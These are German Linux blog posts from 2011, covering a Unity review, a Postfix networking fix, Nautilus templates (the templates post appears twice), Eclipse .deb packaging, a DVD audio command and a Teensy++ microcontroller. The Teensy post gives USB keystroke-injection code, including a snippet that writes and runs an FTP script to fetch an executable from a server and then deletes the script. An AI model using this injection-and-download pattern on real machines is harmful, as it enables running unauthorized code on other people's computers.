Am meisten hat mich erstaunt, das ich jetzt schneller bin. Während des Arbeitens bemerkte ich, dass meine Hand die eine Maus den ganzen Tag hält, sich etwas entspannter anfühlte. Das führe ich nun doch darauf zurück, dass meine Mausbewegungen nicht mehr so viele sind wie vorher. Meine Programme habe ich nun auch schneller gestartet. Ich habe nur noch meine wichtigsten Programme im Launcher und der Rest  den ich sowieso nicht benötige ist nicht sichtbar. Das macht mein Arbeiten effizienter. Auf meinem Desktop befinden sich nun keine Programmstarter mehr, sondern nur noch Verknüpfungen zu meinen Dateien oder Server. Auch eher per Zufall wollte ich eigentlich den Firefox Browser ein zweites mal starten. Ich habe dann im Unity Starter dummerweise die Adresse firefox.com eingegeben und sofort hat Unity mir den Browser gestartet mit der Seite www.firefox.com. So gesehen kann man also damit auch direkt eine Internet-Seite aufrufen.

Alle Desktop

Ich bin ein Desktop Worker. Für meine Arbeit brauche ich verschiedene Desktops. Meistens sind das 4 Stück. Früher mit dem Classic Desktop unter Gnome konnte ich mit der Tastatur diese Umschalten. Das geht natürlich mit Unity auch noch. Es gibt jetzt aber den “Arbeitsflächenumschalter” im Launcher. Damit geht das ganze auch mit der Maus. Je nach Effekt macht einem der Desktop eine schöne Reise mit Fade Effekt. Das ist für mich sehr angenehm und auch immer ein Highlight wenn ich den Desktop umschalten darf.

 

Fazit

Nach einer ersten Eingewöhnung in Unity hat mich das Konzept überzeugt. Ich arbeite schneller und angenehmer als vorher. Die Stabilität von Unity muss sich noch bewähren, was bis zum nächsten Ubuntu Release 11.10 sich dann einstellen wird.

 

 

 

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21. Mai 2011

Postfix Logo

Postfix

In Ubuntu Server scheint unter bestimmten Vorraussetzungen in Zusammenhang mit der Netzwerkverwaltung und Postfix ein Bug zu existieren. Durch diesen geht das Netzwerk nach einem Systemstart nicht online und konfiguriert sich nicht automatisch über DHCP. D.h. also durch diesen Bug ist es nicht möglich eine Online Verbindung herzustellen, dies ist insbesondere bei einem Server ärgerlich, da hier dann auch eine Verbindung via SSH nicht möglich ist. Somit ist also auch eine Behebung des Problems nicht ohne physischen Zugang oder ähnliches zum Server möglich. Wie stellt man nun fest ob man dieses Problem hat? Wenn man den Server startet und dieser keine Verbindung herstellt, bzw. man diesen noch nicht mal an-pingen kann ist man nah dran. In diesem Fall scheitert auch ein manueller Versuch via

 

 


/etc/init.d/networking restart


und daraufhin erscheint am Ende die Fehlermeldung


postconf: fatal: open /etc/postfix/main.cf: No such file or directory


Allem Anschein nach hindert auch ein unbenutzter und unkonfigurierter Postfix an der korrekten Funktionsweise des Netzwerkes, bei mir trat der Fehler außerdem auch sporadisch und nicht immer reproduzierbar auf. In Launchpad gibt es zu ähnlichen Problemen einen Bug, der seit 2006 existiert und bis heute immer wieder bestätigt, aber scheinbar nicht behoben wird.

Lösen kann man das Problem durch ein paar einfache Schritte, welche mit einem Ubuntu 10.04 LTS Server einwandfrei funktioniert haben. Zuerst erstellt man die von Postfix vermisste Datei mittels


sudo cp /usr/share/postfix/main.cf.debian /etc/postfix/main.cf


und anschließend lässt man den Index von Postfix neu erstellen


sudo newaliases


und startet Postfix neu.


service postfix restart


Nun sollte alles wieder funktionieren, eventuell muss man einen restart durchführen oder lässt die Netzwerkanbindung mittels


/etc/init.d/networking restart


neu konfigurieren, wenn nun kein Fehler mehr kommt und man einen ping zu anderen Geräten ausführen kann funktioniert wieder alles.

 

flattr this!

Eine Funktion, die ich bisher gar nicht weiter beachtet hatte, die mir beim Dateimanager Nautilus (Standard-Manager unter Ubuntu und Gnome) aber sehr gut gefällt, ist die Möglichkeit, auf einfache Weise Dateivorlagen anzulegen, die dann im Kontextmenü (Rechtsklick) beim Erstellen neuer Dateien ausgewählt werden können. Vor allem wenn man regelmäßig Scripts oder Programme in verschiedenen Programmiersprachen erstellt, spart man mit dieser Funktion auf jeden Fall einiges an Zeit.

Neue (Datei-)Templates anlegen

Vorlagen werden angelegt, indem im Homeverzeichnis unter dem Ordner Templates neue Dateien erstellen werden.

Die dort erstellen Vorlagen sind fortan über das Kontextmenü erreichbar:

Wie man sieht, wird der Dateiname im Kontexmenü angezeigt. Der Dateiinhalt wird beim Anlegen neuer Dateien aus dem Templates-Verzeichnis kopiert. Besonders praktisch ist dies bei Scripts (z.B. Bashscripts), denn wenn die nötigen Ausführungsrechte für die Datei bereits im Templates-Ordner gesetzt wurden, muss dies dann bei den neuen Dateien nicht mehr extra gemacht werden.

 

Ein paar Template-Beispiele

Ich habe mal einige Dateivorlagen (siehe Screenshot unten) für häufig benötigte Dateitypen erstellt. Die Dateien müssen wie oben beschrieben in das Verzeichnis ~/Templates entpackt werden.
Das Archiv mit den Templates findet ihr unter http://www.ganz-sicher.net/sonstiges/Nautilus-Templates.zip.

 

Eine Funktion, die ich bisher gar nicht weiter beachtet hatte, die mir beim Dateimanager Nautilus (Standard-Manager unter Ubuntu und Gnome) aber sehr gut gefällt, ist die Möglichkeit, auf einfache Weise Dateivorlagen anzulegen, die dann im Kontextmenü (Rechtsklick) beim Erstellen neuer Dateien ausgewählt werden können. Vor allem wenn man regelmäßig Scripts oder Programme in verschiedenen Programmiersprachen erstellt, spart man mit dieser Funktion auf jeden Fall einiges an Zeit.

Neue (Datei-)Templates anlegen

Vorlagen werden angelegt, indem im Homeverzeichnis unter dem Ordner Templates neue Dateien erstellen werden. Die dort erstellen Vorlagen sind fortan über das Kontextmenü erreichbar:

Wie man sieht, wird der Dateiname im Kontexmenü angezeigt. Der Dateiinhalt wird beim Anlegen neuer Dateien aus dem Templates-Verzeichnis kopiert. Besonders praktisch ist dies bei Scripts (z.B. Bashscripts), denn wenn die nötigen Ausführungsrechte für die Datei bereits im Templates-Ordner gesetzt wurden, muss dies dann bei den neuen Dateien nicht mehr extra gemacht werden.

Ein paar Template-Beispiele

Ich habe mal einige Dateivorlagen (siehe Screenshot unten) für häufig benötigte Dateitypen erstellt. Die Dateien müssen wie oben beschrieben in das Verzeichnis ~/Templates entpackt werden. Das Archiv mit den Templates findet ihr unter http://www.ganz-sicher.net/sonstiges/Nautilus-Templates.zip.

Seit meine Erinnerung zurückreicht wurde Eclipse von den Debian- und Ubuntu-Maintainern immer recht stiefmütterlich behandelt. Die sowohl in Ubuntu Natty als auch in Debian Sid verfügbare Version ist 3.5, obwohl seit Juni 2010 3.6 verfügbar ist. Externe Paketquellen habe ich bisher nicht gefunden (außer die hier, Eclipse stürzt hier nach dem Start ab und sie ist auch nicht für Natty gedacht), offensichtlich scheinen wenig Leute Interesse daran zu haben, Eclipse zu paketieren.

Ein Grund für die zögerliche Paketierung könnte sein, dass Eclipse ja bereits eine interne Paketverwaltung mitbringt, über die Plugins mittels Paketquellen installiert werden können. Sogar auf dem App-Store-Zug sind die Entwickler aufgesprungen. Hier stellt sich die Frage, ob man Plugins auch mitpaketieren sollte, was von Debian und Ubuntu jedenfalls für beliebte Plugins gemacht wird. Da es nicht oder nur mit großem Aufwand möglich ist, APT und die Eclipse-Paketverwaltung zur Zusammenarbeit zu bewegen, existieren sie nebeneinander und das find ich unschön. Ich benutze nicht gerne zwei Werkzeuge parallel für den selben Zweck, ich möchte nicht einen Teil meiner Plugins über APT verwalten und den anderen Teil über Eclipse selbst.

Deswegen bin ich dazu übergegangen, mir nur ein “nacktes” Eclipse über APT zu installieren und die Plugins über Eclipse selber. In den Paketquellen gibt es ja das Paket eclipse-platform, welches ein solches nacktes Eclipse enthält, aber wie oben erwähnt veraltet ist. Das lässt sich aber dadurch kompensieren, indem man sich Eclipse selbst über die Projektseite herunterlädt und in ein eigenes Paket verbaut.

Auf der Download-Seite werden aber nur vorkonfigurierte Bundles angeboten, die bereits irgendwelche Plugins enthalten. Etwas versteckt lässt sich aber eine pluginlose Version besorgen, indem man auf diese Seite geht und bis zu “Platform Runtime Binary” scrollt. Hier muss die für die Rechnerarchitektur passende Version heruntergeladen werden.

In diesem Beispiel nutze ich amd64/x86_64. Wer eine andere Architektur hat, 
muss die Befehle oder Datei-Inhalte ggf. anpassen, also nicht einfach den Guttenberg machen.

Bevor losgelegt werden kann, müssen aber noch einige Tools installiert…

$ sudo apt-get install fakeroot dpkg-dev debhelper unp

…und ein Arbeitsverzeichnis angelegt werden:

$ mkdir eclipse-platform

Innerhalb dieses Arbeitsverzeichnisses müssen nun die Ordner so angelegt werden, wie sie später auf dem Dateisystem abgebildet werden sollen. Legt man also innerhalb des Ordners eclipse-platform den Ordner bin an und speichert dort Dateien, so werden diese Dateien später nach /bin installiert. Ich lasse den Inhalt des Archivs nach /opt/eclipse installieren:

$ unp eclipse-platform-3.6.2-linux-gtk-x86_64.tar.gz
$ mkdir -p eclipse-platform/opt
$ mv eclipse eclipse-platform/opt/eclipse

Anschließen erstellen wir ein Skript, mit dem wir Eclipse starten können:

$ mkdir -p eclipse-platform/usr/bin
$ nano eclipse-platform/usr/bin/eclipse
$ chmod +x eclipse-platform/usr/bin/eclipse

Das Skript versehen wir mit folgenden Inhalt:

#!/bin/sh
export UBUNTU_MENUPROXY=0
exec /opt/eclipse/eclipse "$@"

Das setzen der Variable UBUNTU_MENUPROXY sorgt dafür, dass Eclipse sein Menü im Fenster und nicht im Unity-Panel anzeigt, weil letzteres noch nicht gut genug mit SWT-Anwendungen funktioniert (Update: Ab Eclipse 3.7 ist die Zeile unnötig, Eclipse zeigt per Default sein Menü im Fenster an). Nicht-Unity-Benutzer können das ignorieren. “$@” bewirkt, dass dem Skript mitgegebene Parameter an Eclipse weitergereicht werden. Nun müssen wir nur noch einen Menüeintrag erstellen, damit wir Eclipse auch grafisch starten können…

$ mkdir -p eclipse-platform/usr/share/applications
$ nano eclipse-platform/usr/share/applications/eclipse.desktop

…und zwar mit diesem Inhalt:

[Desktop Entry]
Encoding=UTF-8
Type=Application
Name=Eclipse
Exec=eclipse
Terminal=false
Icon=/opt/eclipse/icon.xpm
Comment=Eclipse Integrated Development Environment
Categories=Development;IDE;

Nun haben wir also ein Startskript, einen Anwendungsstarter sowie einen Programmordner. Fehlen nur noch Informationen, die das Paket näher beschreiben, damit auch APT was damit anfangen kann.

mkdir eclipse-platform/DEBIAN
nano eclipse-platform/DEBIAN/control

In die control-Datei schmeißen wir das da rein:

Package: eclipse-platform
Version: 3.6.2-1
Architecture: amd64
Maintainer: DeinName
Depends: openjdk-6-jre | sun-java6-jre
Section: devel
Priority: optional
Description: Eclipse IDE, static-linked, minimal plugins.

Die Abhängigkeiten sehen natürlich etwas mager aus, nur Java ist drin, was Eclipse zum Laufen benötigt, aber nicht selbst mitbringt. Alles andere ist bei Eclipse eigentlich dabei und nach den Debian-Richtlinien müsste man eigentlich alles sauber in unabhängige Paketteile aufsplitten, um Redundanzen zu vermeiden, aber das würde das hier zu kompliziert machen. Auf diese Weise sind wir aber jetzt schon fertig und können mit dem verpacken beginnen und die Installation einleiten:

$ fakeroot dpkg -b eclipse-platform eclipse-platform_3.6.2-1_amd64.deb
$ sudo dpkg -i eclipse-platform_3.6.2-1_amd64.deb

Das fakeroot bitte nicht vergessen, sonst werden die Rechte nicht richtig gesetzt!

Eclipse sollte jetzt problemlos und ohne irgendwelche Plugins starten. Damit man jetzt anfangen kann, Eclipse zu benutzen, muss man natürlich erst über Help->Install New Software.. die benötigten Plugins installieren. Zuvor muss jedoch noch die Update-Site von Eclipse hinzugefügt werden, dazu Eclipse starten und zu Window->Preferences->Install/Update->Available Software Sites navigieren und diese URL hinzufügen:

http://download.eclipse.org/releases/helios

Frohes Entwickeln!


Wer gerne freie Musik hört, der kommt an der Online Plattform www.jamendo.de nicht vorbei. Jamendo ist die grösste und international bekannteste Website für kostenlose und legale Musik-Downloads. In sieben verschiedenen Sprachen bietet die Internetplattform den weltweit umfangreichsten Musikkatalog unter Creative Commons Lizenzen an. Künstler können auf einfach Art und Weise ihre Musik veröffentlichen, sie mit anderen teilen, sich selbst promoten und darüber hinaus durch diverse Programme Einnahmen erzielen.

Die Musik auf Jamendo kann man einfach und kostenlos downloaden. Das macht Sinn wenn man weiss was man will. Will man jedoch den ganzen Tag Musik hören ( als Alternative zum Radio ) dann kann man das auch tun, mit dem Jamendo Radio Player. Hat man seinen PC immer mit dabei, ist das kein Problem. Viele von uns tragen aber nur noch ein Smart-Phone oder ein Tablet mit sich herum. Hier gibt es eine weitere Lösung dazu, den Jamendo Player.

Der Player

Für uns Androider ist der Jamendo Player im Google Market erhältlich. Die Installation ist schnell erledigt und schon kann man mit dem Player loslegen. Der Player ist einfach aufgebaut und verbindet sich nach dem Start sofort mit Jamendo.

Mit dem Player kann man z.B. Radio hören. Man wählt einfach sein gewünschtes Genre und schon spielt der Player wie eine Radiostation den gewünschten Sender.

Während des “Radiohörens” kann man auf die Menütaste drücken und das eben gehörte Stück auch downloaden. So entsteht während des Hörens auch gleich eine Sammlung die man dann auch ohne Internet geniessen kann.

Fazit

Wenn man freie Musik für Unterwegs möchte, dann kann einem der Jamendo Player gute Dienste leisten. Mich nervt bei den Radios vorallem die Werbung. Mit dem Jamendo Player für Android habe ich nun genau die Musik mit dabei die ich möchte und das ohne Werbung.

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Heute ist mein Teensy++ 2.0 endlich aus der USA rübergeflogen gekommen. Bestellen konnte ich ihn nur noch da, da er weder in der Schweiz, noch in Deutschland oder sonst wo aus Europa noch bestellt werden konnte. Aber da der Dollar-Kurs zur Zeit ja alles andere als hoch ist, hat sich die Bestellung natürlich mehrfach gelohnt!
Doch obwohl ich mir nicht sicher war, ob überhaupt etwas ankommt, dauerte es nicht mal eine Woche seit meiner Bestellung. Und das trotz den prophezeiten 3 Wochen Wartezeit :)

Der Teensy++ ist ein kleiner Mikrocontroller mit USB-Anschluss, mit dem man viele lustige Dinge machen kann. So kann er auf einem Computer als Tastatur erkannt werden und dadurch natürlich auch alles steuern, was man über eine normale Tastatur auch kann *hrhrhr* :D Eine Einschränkung durch Sicherheitssoftware o.ä. gibt es (noch) nicht.

Um mal zu sehen, was man mit dem kleinen Ding alles machen kann, habe ich mir ein paar Beispiele angesehen. Dies geht vom Öffnen einer Seite:

CommandAtRunBarMSWIN("cmd /c start http://blog.encodingit.ch");

… zum Absetzen einer Statusmeldung auf Facebook:

void loop()
{
  CommandAtRunBarMSWIN("cmd /c start http://m.facebook.com");
  delay(6000);
  PressAndRelease(KEY_TAB, 8);
  Keyboard.print("Bits, Bytes and my 5 cents is best!");
  PressAndRelease(KEY_TAB, 1);
  PressAndRelease(KEY_ENTER, 1);
}

… oder gleich zum Nachladen von weiteren Daten via FTP:

void loop()
{
  CommandAtRunBarMSWIN("echo USER >> go.txt ");
  CommandAtRunBarMSWIN("echo PASSWORD >> go.txt ");
  CommandAtRunBarMSWIN("echo GET EXE >> go.txt ");
  CommandAtRunBarMSWIN("echo bye >> go.txt ");
  CommandAtRunBarMSWIN("ftp -s:go.txt " + server);
  CommandAtRunBarMSWIN("del go.txt");
}

Somit ist das ganze nur durch die eigene Phantasie begrenzt :)

Besonders interessant fand ich die Statusmeldung von Facebook. Doch wie es sich gezeigt hat, ist das ganze alles andere als Zuverlässig. Das ganze funktioniert nur, wenn keine Geburtstage oder “Stupser” im Weg sind.

Also habe ich mich mal daran gemacht, das ganze ein bisschen zu verbessern.

Herausgekommen ist eine Lösung unter Verwendung der Suchfunktion, welche immer funktioniert:

#include <phukdlib.h>

int ledPin = 6;

void setup() {
  pinMode(ledPin, OUTPUT);
}

void loop () {
  //warten
  delay(5000);

  //LED ON
  digitalWrite(ledPin, HIGH);

  //Facebook öffnen
  CommandAtRunBarMSWIN("cmd /c start http://m.facebook.com");

  //warten
  delay(5000);

  //CTRL + F
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.set_key1(KEY_F);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();

  //Nach Hauptmeldung suchen
  Keyboard.print("Hauptmeldungen");

  //ESC
  Keyboard.set_key1(KEY_ESC);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();

  //Status absetzen
  PressAndRelease(KEY_TAB, 1);
  Keyboard.print("Bits, Bytes and my 5 cents is best!");
  PressAndRelease(KEY_TAB, 1);
  PressAndRelease(KEY_ENTER, 1);

  //warten
  delay(3000);

  //Schliessen
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.set_key1(KEY_W);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();

  //LED ausschalten
  digitalWrite(ledPin, LOW);

  //sleep an hour
  delay(3600000);
}

Ganz cool ist auch, mit ein paar kleinen Änderungen läuft alles auch unter Ubuntu oder MacOSX.

Es müssen nur die Sequenzen zum öffnen der Seite:

CommandAtRunBarMSWIN("cmd /c start http://m.facebook.com");

ersetzt werden. Für Gnome mit:

CommandAtRunBarGnome("firefox http://m.facebook.com");

oder für OSX mit:

CommandAtRunBarOSX("firefox http://m.facebook.com");

Nur fehlen mir aber kreative Ideen, was man noch alles machen könnte :) Habt ihr noch welche?

20. Mai 2011

Weil ich es gestern gebraucht habe: Mit folgendem mplayer-Kommando kann man die Audiospur einer kompletten DVD extrahieren:

mplayer -vc null -vo null -ao pcm:fast:waveheader:file=audio.wav dvd://

In meinem Fall kam die Datei als 48 kHz Wave-Datei, die ich dann noch mit SoX gewandelt habe:

sox -S audio.wav -b 16 -r 44100 -c 2 --norm audio.ogg

Wenn man es auf CD brennen möchte, müsste als Ziel statt audio.ogg ein WAV-Dateiname, beispielsweise "fertig.wav", angegeben werden.

19. Mai 2011

Bereits vor einigen Wochen durften Dirk und ich zu Gast bei Marios Pofacs sein. Damals sprachen wir über Ubuntu und die Community dazu, aber auch Debian kam zur Sprache. Die Linkliste im Beitrag auf Pofacs ist entsprechend lang.

Wir haben die Sendung mit Skype aufgezeichnet; Dirk sogar über sein Android-Handy. Dabei entstand eine recht angenehme Qualität der Sprachausgabe. Die Ausgabe ist schon eine Weile online. Ich kam bisher nicht dazu, darüber zu schreiben. Es hat richtig Spass gemacht, die Sendung mit Mario und Dirk zu erzeugen. Danke den Jungs!

Am vergangen Dienstag konnte ich dann mit Axel zusammen bei Raoul über das Thema Sysadmin am Radio Stadtfilter sprechen. Auch in Winterthur hat es Spass gemacht, am Radio zu sein. Wir hatten zwar nur 25 Minuten, dafür gingen wir live über den Äther. Und schliesslich sprechen wir am Radio nicht nur, um unser Wissen und unsere Eindrücke zu teilen und sie auszudehnen, sondern auch um unser Ego zu pflegen. Anerkennung ist ein sehr treffender Lohn, den es in unserer Community immer noch recht üppig gibt – zum Glück.

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